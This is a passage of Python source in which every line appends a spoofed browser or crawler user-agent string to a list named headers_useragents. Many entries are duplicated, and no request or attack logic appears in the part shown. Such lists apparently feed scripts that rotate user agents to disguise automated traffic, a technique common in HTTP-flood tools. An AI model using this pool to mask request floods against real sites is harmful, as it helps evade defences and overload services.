  2339.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2340.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2341.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2342.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2343.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2344.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2345.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2346.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2347.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2348.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2349.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2350.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2351.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2352.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2353.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2354.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2355.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2356.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2357.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2358.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2359.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2360.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2361.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2362.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2363.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2364.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2365.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2366.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2367.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2368.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2369.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2370.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2371.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2372.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2373.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2374.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2375.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2376.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2377.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2378.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2379.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2380.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2381.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2382.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2383.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2384.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2385.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2386.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2387.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2388.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2389.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2390.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2391.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2392.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2393.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2394.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2395.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2396.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2397.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2398.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2399.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2400.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2401.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2402.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2403.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2404.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2405.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2406.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2407.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2408.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2409.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2410.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2411.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2412.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2413.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2414.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2415.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2416.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2417.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2418.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2419.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2420.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2421.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2422.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2423.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2424.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2425.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2426.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2427.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2428.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2429.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2430.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2431.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2432.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2433.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2434.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2435.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2436.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2437.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2438.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2439.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2440.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2441.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2442.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2443.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2444.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2445.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2446.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2447.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2448.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2449.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2450.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2451.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2452.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2453.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2454.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2455.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2456.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2457.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2458.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2459.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2460.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2461.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2462.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2463.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2464.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2465.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2466.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2467.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2468.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2469.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2470.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2471.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2472.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2473.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2474.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2475.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2476.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2477.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2478.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2479.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2480.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2481.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2482.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2483.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2484.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2485.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2486.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2487.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2488.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2489.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2490.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2491.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2492.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2493.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2494.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2495.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2496.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2497.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2498.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2499.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2500.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2501.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2502.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2503.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2504.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2505.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2506.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2507.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2508.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2509.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2510.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2511.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2512.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2513.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2514.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2515.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2516.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2517.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2518.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2519.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2520.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2521.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2522.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2523.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2524.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2525.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2526.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2527.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2528.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2529.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2530.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2531.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2532.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
